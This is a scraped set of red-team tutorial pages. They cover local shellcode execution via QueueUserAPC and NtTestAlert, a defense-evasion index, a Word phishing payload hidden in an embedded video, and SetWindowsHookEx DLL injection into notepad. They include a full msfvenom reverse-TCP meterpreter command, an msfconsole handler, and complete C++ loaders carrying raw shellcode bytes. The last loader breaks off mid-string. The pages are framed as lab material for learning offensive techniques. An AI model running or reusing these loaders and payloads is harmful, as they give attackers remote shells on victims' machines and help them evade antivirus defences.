[Markdown](https://www.ired.team/offensive-security/code-injection-process-injection/shellcode-execution-in-a-local-process-with-queueuserapc-and-nttestalert.md) . This is a quick lab that shows how to execute shellcode within a local process by leveraging a Win32 API `QueueUserAPC` and an officially undocumented Native API `NtTestAlert`, which lands in kernel that calls `KiUserApcDispatcher` if the APC queue is not empty. The advantage of this technique is that it does not rely on `CreateThread` or `CreateRemoteThread` API calls which are more popular and hence usually more scrutinized by SOCs and AV/EDR vendors. Thanks to [Mumbai](https://twitter.com/win64_) for pointing me to `NtTestAlert`. [](https://www.ired.team/offensive-security/code-injection-process-injection/shellcode-execution-in-a-local-process-with-queueuserapc-and-nttestalert#execution) Execution ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- The flow of the technique is simple: 1. Allocate memory in the local process for the shellcode 2. Write shellcode to the newly allocated memory location 3. Queue an APC to the current thread 4. Issue `NtTestAlert` 5. Receive meterpreter session Lets's generate the meterpreter shellcode first: attacker@kali Copy msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.0.0.5 LPORT=443 -f c ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LfuS6ChCRLKy70vqqWx%252F-LfuVcKDmUV074Jexy0K%252FAnnotation%25202019-05-27%2520191650.png%3Falt%3Dmedia%26token%3D3ddb4818-40e4-49f7-b89e-b30fc258218c&width=768&dpr=3&quality=100&sign=d74d6cdb&sv=2) Short code that performs `NtTestAlert` function address resolution, memory allocation, shellcode writing to memory, APC queuing and `NtTestAlert` call: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LfuS6ChCRLKy70vqqWx%252F-LfuYdX-VIWcPqc0-WfG%252FAnnotation%25202019-05-27%2520192952.png%3Falt%3Dmedia%26token%3D4cf92d7f-fc89-4e9d-aefd-f33d3504d7ed&width=768&dpr=3&quality=100&sign=34011280&sv=2) Now, set up a multi handler for catching the incoming meterpreter connection: Below shows the technique in action, resulting in a meterpreter shell: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LfuS6ChCRLKy70vqqWx%252F-Lfu_Xc6Owhfozug-qUe%252Fapc-local.gif%3Falt%3Dmedia%26token%3D29c81aea-4f62-44cc-abc5-33ee4a9d63af&width=768&dpr=3&quality=100&sign=69bd933&sv=2) [](https://www.ired.team/offensive-security/code-injection-process-injection/shellcode-execution-in-a-local-process-with-queueuserapc-and-nttestalert#code) Code --------------------------------------------------------------------------------------------------------------------------------------------------------------------- [](https://www.ired.team/offensive-security/code-injection-process-injection/shellcode-execution-in-a-local-process-with-queueuserapc-and-nttestalert#reference) Reference ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- [NTAPI Undocumented Functionsundocumented.ntinternals.net](https://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FAPC%2FNtTestAlert.html) [![Logo](https://www.ired.team/~gitbook/image?url=https%3A%2F%2Flearn.microsoft.com%2Ffavicon.ico&width=20&dpr=3&quality=100&sign=d8acf9f&sv=2)QueueUserAPC function (processthreadsapi.h) - Win32 appsMicrosoftLearn](https://docs.microsoft.com/en-us/windows/desktop/api/processthreadsapi/nf-processthreadsapi-queueuserapc) [PreviousEarly Bird APC Queue Code Injection](https://www.ired.team/offensive-security/code-injection-process-injection/early-bird-apc-queue-code-injection) [NextShellcode Execution through Fibers](https://www.ired.team/offensive-security/code-injection-process-injection/executing-shellcode-with-createfiber) Last updated 7 years ago * [Execution](https://www.ired.team/offensive-security/code-injection-process-injection/shellcode-execution-in-a-local-process-with-queueuserapc-and-nttestalert#execution) * [Code](https://www.ired.team/offensive-security/code-injection-process-injection/shellcode-execution-in-a-local-process-with-queueuserapc-and-nttestalert#code) * [Reference](https://www.ired.team/offensive-security/code-injection-process-injection/shellcode-execution-in-a-local-process-with-queueuserapc-and-nttestalert#reference) attacker@kali Copy msfconsole -x "use exploits/multi/handler; set lhost 10.0.0.5; set lport 443; set payload windows/x64/meterpreter/reverse_tcp; exploit" local-apc.cpp Copy #include "pch.h" #include #pragma comment(lib, "ntdll") using myNtTestAlert = NTSTATUS(NTAPI*)(); int main() { unsigned char buf[] = "\xfc\x48\x83\xe4\xf0\xe8\xcc\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x66\x81\x78\x18\x0b\x02\x0f\x85\x72\x00\x00\x00\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x4b\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33\x32\x00\x00\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00\x00\x49\x89\xe5\x49\xbc\x02\x00\x01\xbb\x0a\x00\x00\x05\x41\x54\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x4c\x89\xea\x68\x01\x01\x00\x00\x59\x41\xba\x29\x80\x6b\x00\xff\xd5\x6a\x0a\x41\x5e\x50\x50\x4d\x31\xc9\x4d\x31\xc0\x48\xff\xc0\x48\x89\xc2\x48\xff\xc0\x48\x89\xc1\x41\xba\xea\x0f\xdf\xe0\xff\xd5\x48\x89\xc7\x6a\x10\x41\x58\x4c\x89\xe2\x48\x89\xf9\x41\xba\x99\xa5\x74\x61\xff\xd5\x85\xc0\x74\x0a\x49\xff\xce\x75\xe5\xe8\x93\x00\x00\x00\x48\x83\xec\x10\x48\x89\xe2\x4d\x31\xc9\x6a\x04\x41\x58\x48\x89\xf9\x41\xba\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7e\x55\x48\x83\xc4\x20\x5e\x89\xf6\x6a\x40\x41\x59\x68\x00\x10\x00\x00\x41\x58\x48\x89\xf2\x48\x31\xc9\x41\xba\x58\xa4\x53\xe5\xff\xd5\x48\x89\xc3\x49\x89\xc7\x4d\x31\xc9\x49\x89\xf0\x48\x89\xda\x48\x89\xf9\x41\xba\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58\x41\x57\x59\x68\x00\x40\x00\x00\x41\x58\x6a\x00\x5a\x41\xba\x0b\x2f\x0f\x30\xff\xd5\x57\x59\x41\xba\x75\x6e\x4d\x61\xff\xd5\x49\xff\xce\xe9\x3c\xff\xff\xff\x48\x01\xc3\x48\x29\xc6\x48\x85\xf6\x75\xb4\x41\xff\xe7\x58\x6a\x00\x59\x49\xc7\xc2\xf0\xb5\xa2\x56\xff\xd5"; myNtTestAlert testAlert = (myNtTestAlert)(GetProcAddress(GetModuleHandleA("ntdll"), "NtTestAlert")); SIZE_T shellSize = sizeof(buf); LPVOID shellAddress = VirtualAlloc(NULL, shellSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE); WriteProcessMemory(GetCurrentProcess(), shellAddress, buf, shellSize, NULL); PTHREAD_START_ROUTINE apcRoutine = (PTHREAD_START_ROUTINE)shellAddress; QueueUserAPC((PAPCFUNC)apcRoutine, GetCurrentThread(), NULL); testAlert(); return 0; } --- # Defense Evasion | Red Team Notes For the complete documentation index, see [llms.txt](https://www.ired.team/llms.txt) . This page is also available as [Markdown](https://www.ired.team/offensive-security/defense-evasion.md) . [AV Bypass with Metasploit Templates and Custom Binaries](https://www.ired.team/offensive-security/defense-evasion/av-bypass-with-metasploit-templates) [Evading Windows Defender with 1 Byte Change](https://www.ired.team/offensive-security/defense-evasion/evading-windows-defender-using-classic-c-shellcode-launcher-with-1-byte-change) [Bypassing Windows Defender: One TCP Socket Away From Meterpreter and Beacon Sessions](https://www.ired.team/offensive-security/defense-evasion/bypassing-windows-defender-one-tcp-socket-away-from-meterpreter-and-cobalt-strike-beacon) [Bypassing Cylance and other AVs/EDRs by Unhooking Windows APIs](https://www.ired.team/offensive-security/defense-evasion/bypassing-cylance-and-other-avs-edrs-by-unhooking-windows-apis) [Windows API Hashing in Malware](https://www.ired.team/offensive-security/defense-evasion/windows-api-hashing-in-malware) [Detecting Hooked Syscalls](https://www.ired.team/offensive-security/defense-evasion/detecting-hooked-syscall-functions) [Calling Syscalls Directly from Visual Studio to Bypass AVs/EDRs](https://www.ired.team/offensive-security/defense-evasion/using-syscalls-directly-from-visual-studio-to-bypass-avs-edrs) [Retrieving ntdll Syscall Stubs from Disk at Run-time](https://www.ired.team/offensive-security/defense-evasion/retrieving-ntdll-syscall-stubs-at-run-time) [Full DLL Unhooking with C++](https://www.ired.team/offensive-security/defense-evasion/how-to-unhook-a-dll-using-c++) [Enumerating RWX Protected Memory Regions for Code Injection](https://www.ired.team/offensive-security/defense-evasion/finding-all-rwx-protected-memory-regions) [Disabling Windows Event Logs by Suspending EventLog Service Threads](https://www.ired.team/offensive-security/defense-evasion/disabling-windows-event-logs-by-suspending-eventlog-service-threads) [Obfuscated Powershell Invocations](https://www.ired.team/offensive-security/defense-evasion/t1027-obfuscated-powershell-invocations) [Masquerading Processes in Userland via \_PEB](https://www.ired.team/offensive-security/defense-evasion/masquerading-processes-in-userland-through-_peb) [Commandline Obfusaction](https://www.ired.team/offensive-security/defense-evasion/commandline-obfusaction) [File Smuggling with HTML and JavaScript](https://www.ired.team/offensive-security/defense-evasion/file-smuggling-with-html-and-javascript) [Timestomping](https://www.ired.team/offensive-security/defense-evasion/t1099-timestomping) [Alternate Data Streams](https://www.ired.team/offensive-security/defense-evasion/t1096-alternate-data-streams) [Hidden Files](https://www.ired.team/offensive-security/defense-evasion/t1158-hidden-files) [Encode/Decode Data with Certutil](https://www.ired.team/offensive-security/defense-evasion/t1140-encode-decode-data-with-certutil) [Downloading Files with Certutil](https://www.ired.team/offensive-security/defense-evasion/downloading-file-with-certutil) [Packed Binaries](https://www.ired.team/offensive-security/defense-evasion/t1045-software-packing-upx) [Unloading Sysmon Driver](https://www.ired.team/offensive-security/defense-evasion/unloading-sysmon-driver) [Bypassing IDS Signatures with Simple Reverse Shells](https://www.ired.team/offensive-security/defense-evasion/bypassing-ids-signatures-with-simple-reverse-shells) [Preventing 3rd Party DLLs from Injecting into your Malware](https://www.ired.team/offensive-security/defense-evasion/preventing-3rd-party-dlls-from-injecting-into-your-processes) [ProcessDynamicCodePolicy: Arbitrary Code Guard (ACG)](https://www.ired.team/offensive-security/defense-evasion/acg-arbitrary-code-guard-processdynamiccodepolicy) [Parent Process ID (PPID) Spoofing](https://www.ired.team/offensive-security/defense-evasion/parent-process-id-ppid-spoofing) [Executing C# Assemblies from Jscript and wscript with DotNetToJscript](https://www.ired.team/offensive-security/defense-evasion/executing-csharp-assemblies-from-jscript-and-wscript-with-dotnettojscript) [PreviousFormat String Bug](https://www.ired.team/offensive-security/code-injection-process-injection/binary-exploitation/format-string-bug) [NextAV Bypass with Metasploit Templates and Custom Binaries](https://www.ired.team/offensive-security/defense-evasion/av-bypass-with-metasploit-templates) --- # Phishing: Replacing Embedded Video with Bogus Payload | Red Team Notes For the complete documentation index, see [llms.txt](https://www.ired.team/llms.txt) . This page is also available as [Markdown](https://www.ired.team/offensive-security/initial-access/phishing-with-ms-office/phishing-replacing-embedded-video-with-bogus-payload.md) . [](https://www.ired.team/offensive-security/initial-access/phishing-with-ms-office/phishing-replacing-embedded-video-with-bogus-payload#weaponization) Weaponization ------------------------------------------------------------------------------------------------------------------------------------------------------------------------- Create a new Word document and go to Insert > Online Video: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LZyelpWsZynAOOYNRJv%252F-LZyfLZXawpMPi1MO2U9%252FScreenshot%2520from%25202019-03-02%252013-52-10.png%3Falt%3Dmedia%26token%3Da1b496f2-4c48-4e76-b858-8a713b8452d6&width=768&dpr=3&quality=100&sign=53fef472&sv=2) Insert any video: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LZyelpWsZynAOOYNRJv%252F-LZyfPXjOH06L2dNb_MS%252FScreenshot%2520from%25202019-03-02%252013-52-29.png%3Falt%3Dmedia%26token%3D921ed5f9-48ba-4d79-b60c-77ec9e7a83e6&width=768&dpr=3&quality=100&sign=1af5211e&sv=2) Save the document: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LZyelpWsZynAOOYNRJv%252F-LZyg1EItZFkMZtB0y11%252FScreenshot%2520from%25202019-03-02%252013-53-34.png%3Falt%3Dmedia%26token%3D736cf434-b2d3-4ff7-970e-c4be8798fcef&width=768&dpr=3&quality=100&sign=95c32684&sv=2) Rename .docx to .zip: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LZyelpWsZynAOOYNRJv%252F-LZyg3pm8_CB35SwXNbK%252FScreenshot%2520from%25202019-03-02%252013-54-18.png%3Falt%3Dmedia%26token%3Dd3645e77-6584-4c21-80c3-dbd708d0ce42&width=768&dpr=3&quality=100&sign=42cae7ea&sv=2) Open `document.xml` in any code editor: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LZyelpWsZynAOOYNRJv%252F-LZyg680KYmWhjWfTOtl%252FScreenshot%2520from%25202019-03-02%252013-55-09.png%3Falt%3Dmedia%26token%3D39c76a91-4e68-4de6-8045-7ec155083711&width=768&dpr=3&quality=100&sign=9502de47&sv=2) Note the `embeddedHtml` attribute - this is currently where the youtube iframe is embedded: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LZyyMtQG7Os186HnNAh%252F-LZyzEVpFRwePG8s7Fe7%252FScreenshot%2520from%25202019-03-02%252015-18-53.png%3Falt%3Dmedia%26token%3D2ab431f1-6a59-4dce-8357-8456270a208f&width=768&dpr=3&quality=100&sign=f2af028a&sv=2) We will add our payload next inside the `embeddedHtml` attribute, just before the iframe markup starts. We will use the payload from the article: [File Smuggling with HTML and JavaScript](https://www.ired.team/offensive-security/defense-evasion/file-smuggling-with-html-and-javascript) ...which is almost the same as shown below: Let's HTML encode the entire payload: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LZyyMtQG7Os186HnNAh%252F-LZyzjIXOTaxiXtQHS1T%252FScreenshot%2520from%25202019-03-02%252015-21-13.png%3Falt%3Dmedia%26token%3Df9b8768a-a83c-4769-970c-a1df314917f2&width=768&dpr=3&quality=100&sign=e277580c&sv=2) Let's put the encoded payload at the very beginning of `embeddedHtml` attribute: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LZyyMtQG7Os186HnNAh%252F-LZz-1zsjxZM_I7xNkgr%252FScreenshot%2520from%25202019-03-02%252015-22-38.png%3Falt%3Dmedia%26token%3D26a2810b-e597-4915-a094-6cb6c631b550&width=768&dpr=3&quality=100&sign=4b1383f6&sv=2) Zip up all the files again and rename the archive back to `.docx`: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LZyyMtQG7Os186HnNAh%252F-LZz-F3JQ4lgjcyFwRDn%252FScreenshot%2520from%25202019-03-02%252015-23-28.png%3Falt%3Dmedia%26token%3D29114c43-d3dc-442a-96e7-1986203426bc&width=768&dpr=3&quality=100&sign=56f43e8e&sv=2) [](https://www.ired.team/offensive-security/initial-access/phishing-with-ms-office/phishing-replacing-embedded-video-with-bogus-payload#execution) Execution ----------------------------------------------------------------------------------------------------------------------------------------------------------------- Open the newly backdoored document and play the video: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LZyyMtQG7Os186HnNAh%252F-LZz-QKjgB28ZmPI2JHK%252FScreenshot%2520from%25202019-03-02%252015-24-15.png%3Falt%3Dmedia%26token%3Dbedcd130-e2ce-4675-b479-b4c720425bcc&width=768&dpr=3&quality=100&sign=ce28ca44&sv=2) At this point according to [https://blog.cymulate.com/abusing-microsoft-office-online-video](https://blog.cymulate.com/abusing-microsoft-office-online-video) , the payload download prompt should have been presented, but for some reason this did not happen for me: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LZz591qAOD-NI12yFjK%252F-LZz6JfslhEWy6_9owjc%252FScreenshot%2520from%25202019-03-02%252015-54-20.png%3Falt%3Dmedia%26token%3D1fa41da7-f46b-4315-992f-ea0a43b389a2&width=768&dpr=3&quality=100&sign=d9bbcd53&sv=2) https://blog.cymulate.com/abusing-microsoft-office-online-video If you were able to replicate this technique and see what I missed, I would appreciate any feedback. [](https://www.ired.team/offensive-security/initial-access/phishing-with-ms-office/phishing-replacing-embedded-video-with-bogus-payload#references) References ------------------------------------------------------------------------------------------------------------------------------------------------------------------- [![Logo](https://www.ired.team/~gitbook/image?url=https%3A%2F%2Fcymulate.com%2Fuploaded-files%2F2025%2F03%2Fcropped-android-chrome-512x512-1-192x192.png&width=20&dpr=3&quality=100&sign=5a355bb8&sv=2)BlogCymulate](https://blog.cymulate.com/abusing-microsoft-office-online-video) [![Logo](https://www.ired.team/~gitbook/image?url=https%3A%2F%2Fgithub.com%2Ffluidicon.png&width=20&dpr=3&quality=100&sign=edc46b53&sv=2)GitHub - rvrsh3ll/Word-Doc-Video-Embed-EXE-POCGitHub](https://github.com/rvrsh3ll/Word-Doc-Video-Embed-EXE-POC) [PreviousPhishing: .SLK Excel](https://www.ired.team/offensive-security/initial-access/phishing-with-ms-office/phishing-.slk-excel) [NextInject Macros from a Remote Dotm Template](https://www.ired.team/offensive-security/initial-access/phishing-with-ms-office/inject-macros-from-a-remote-dotm-template-docx-with-macros) Last updated 7 years ago * [Weaponization](https://www.ired.team/offensive-security/initial-access/phishing-with-ms-office/phishing-replacing-embedded-video-with-bogus-payload#weaponization) * [Execution](https://www.ired.team/offensive-security/initial-access/phishing-with-ms-office/phishing-replacing-embedded-video-with-bogus-payload#execution) * [References](https://www.ired.team/offensive-security/initial-access/phishing-with-ms-office/phishing-replacing-embedded-video-with-bogus-payload#references) Copy --- # SetWindowHookEx Code Injection | Red Team Notes For the complete documentation index, see [llms.txt](https://www.ired.team/llms.txt) . This page is also available as [Markdown](https://www.ired.team/offensive-security/code-injection-process-injection/setwindowhookex-code-injection.md) . Windows allow programs to install hooks to monitor various system events such as mouse clicks and keyboard key presses by using `SetWindowHookEx`. In this lab `SetWindowHookEx` is used to inject a malicious DLL into notepad.exe, which then executes meterpreter shellcode. [](https://www.ired.team/offensive-security/code-injection-process-injection/setwindowhookex-code-injection#overview) Overview ----------------------------------------------------------------------------------------------------------------------------------- The workflow of the technique is as follows: 1. Create a malicious DLL that exports one function, which when invoked, executes meterpreter shellcode 2. Create another program that loads the malicious binary by: 1. Resolving address of the exported function 2. Installing a keyboard hook. The hook is then pointed to the exported function 3. Notepad.exe is launched by the victim and a keypress is registered 4. Since keyboard events are hooked, notepad.exe loads in our malicious dll and invokes the exported function 5. Metepreter session is established on the attacking system [](https://www.ired.team/offensive-security/code-injection-process-injection/setwindowhookex-code-injection#execution) Execution ------------------------------------------------------------------------------------------------------------------------------------- Let's create a DLL with an export a function `spotlessExport` that executes meterpreter shellcode when invoked: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-Lg-F7u41WXpIOMWvmve%252F-Lg-Gh3aGuc4RbSxNhNx%252FAnnotation%25202019-05-28%2520220920.png%3Falt%3Dmedia%26token%3D281f3fdd-9f22-4bb5-a9e6-f1623ae8e21d&width=768&dpr=3&quality=100&sign=9484e0f6&sv=2) Compile the DLL and check if the export was successful. We can use `dumpbin.exe` to do this, but first we need to find it (if we have Visual Studio installed): ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-Lg-F7u41WXpIOMWvmve%252F-Lg-HrnOHi0l3dLYcG4d%252FAnnotation%25202019-05-28%2520221427.png%3Falt%3Dmedia%26token%3Df9217e9a-23d7-4323-8034-cfc376ed2acc&width=768&dpr=3&quality=100&sign=4dc4c500&sv=2) Then use it like so to dump the exported functions: Below shows the output of exported functions for `dllhook.dll` as presented by `CFF Explorer` (left) and dumpin: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-Lg-F7u41WXpIOMWvmve%252F-Lg-HgZhRlrQMg0AnLx2%252FAnnotation%25202019-05-28%2520221340.png%3Falt%3Dmedia%26token%3D1a9280f0-82b8-4d72-a7ee-cbff2ab980b5&width=768&dpr=3&quality=100&sign=82dfd54a&sv=2) [](https://www.ired.team/offensive-security/code-injection-process-injection/setwindowhookex-code-injection#demo) Demo --------------------------------------------------------------------------------------------------------------------------- Below shows the technique in action: * Process Explorer (top right) with notepad (bottom right) selected * In the middle - the code that installs the hook to all threads that are in the same desktop as the calling thread * Attacking system with multi-handler on the left - ready to catch the meterpreter * Once the hook is installed and a key is pressed in when notepad is in focus, `dllhook.dll` is loaded into `notepad.exe` process and our malicious exported function `exportedSpotless` is executed, which in turn results in a meterpreter shell ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-Lg-F7u41WXpIOMWvmve%252F-Lg-FGij2vrEpNhS_sLm%252Fhookdll.gif%3Falt%3Dmedia%26token%3D8e8f1552-aa8d-4a77-9bab-69c1e301d49c&width=768&dpr=3&quality=100&sign=df09d929&sv=2) [](https://www.ired.team/offensive-security/code-injection-process-injection/setwindowhookex-code-injection#code) Code --------------------------------------------------------------------------------------------------------------------------- Both `hooks.cpp` and `dllhook.cpp` are provided below: hooks.cpp dllhook.cpp [](https://www.ired.team/offensive-security/code-injection-process-injection/setwindowhookex-code-injection#references) References --------------------------------------------------------------------------------------------------------------------------------------- [![Logo](https://www.ired.team/~gitbook/image?url=https%3A%2F%2Flearn.microsoft.com%2Ffavicon.ico&width=20&dpr=3&quality=100&sign=d8acf9f&sv=2)SetWindowsHookExA function (winuser.h) - Win32 appsMicrosoftLearn](https://docs.microsoft.com/en-us/windows/desktop/api/winuser/nf-winuser-setwindowshookexa) [![Logo](https://www.ired.team/~gitbook/image?url=https%3A%2F%2Flearn.microsoft.com%2Ffavicon.ico&width=20&dpr=3&quality=100&sign=d8acf9f&sv=2)Exporting from a DLL Using \_\_declspec(dllexport)MicrosoftLearn](https://docs.microsoft.com/en-us/cpp/build/exporting-from-a-dll-using-declspec-dllexport?view=vs-2019) [PreviousInjecting to Remote Process via Thread Hijacking](https://www.ired.team/offensive-security/code-injection-process-injection/injecting-to-remote-process-via-thread-hijacking) [NextFinding Kernel32 Base and Function Addresses in Shellcode](https://www.ired.team/offensive-security/code-injection-process-injection/finding-kernel32-base-and-function-addresses-in-shellcode) Last updated 6 years ago * [Overview](https://www.ired.team/offensive-security/code-injection-process-injection/setwindowhookex-code-injection#overview) * [Execution](https://www.ired.team/offensive-security/code-injection-process-injection/setwindowhookex-code-injection#execution) * [Demo](https://www.ired.team/offensive-security/code-injection-process-injection/setwindowhookex-code-injection#demo) * [Code](https://www.ired.team/offensive-security/code-injection-process-injection/setwindowhookex-code-injection#code) * [References](https://www.ired.team/offensive-security/code-injection-process-injection/setwindowhookex-code-injection#references) Copy cmd /c dir /s/b c:\dumpbin* Copy dumpbin.exe dllhook.dll /exports Copy #include "pch.h" #include #include int main() { HMODULE library = LoadLibraryA("dllhook.dll"); HOOKPROC hookProc = (HOOKPROC)GetProcAddress(library, "spotlessExport"); HHOOK hook = SetWindowsHookEx(WH_KEYBOARD, hookProc, library, 0); Sleep(10*1000); UnhookWindowsHookEx(hook); return 0; } Copy #include "stdafx.h" BOOL APIENTRY DllMain( HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; } extern "C" __declspec(dllexport) int spotlessExport() { unsigned char shellcode[] = "\xfc\x48\x83\xe4\xf0\xe8\xcc\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x66\x81\x78\x18\x0b\x02\x0f\x85\x72\x00\x00\x00\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x4b\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33\x32\x00\x00\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00\x00\x49\x89\xe5\x49\xbc\x02\x00\x01\xbb\x0a\x00\x00\x05\x41\x54\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x4c\x89\xea\x68\x01\x01\x00\x00\x59\x41\xba\x29\x80\x6b\x00\xff\xd5\x6a\x0a\x41\x5e\x50\x50\x4d\x31\xc9\x4d\x31\xc0\x48\xff\xc0\x48\x89\xc2\x48\xff\xc0\x48\x89\xc1\x41\xba\xea\x0f\xdf\xe0\xff\xd5\x48\x89\xc7\x6a\x10\x41\x58\x4c\x89\xe2\x48\x89\xf9\x41\xba\x99\xa5\x74\x61\xff\xd5\x85\xc0\x74\x0a\x49\xff\xce\x75\xe5\xe8\x93\x00\x00\x00\x48\x83\xec\x10\x48\x89\xe2\x4d\x31\xc9\x6a\x04\x41\x58\x48\x89\xf9\x41\xba\x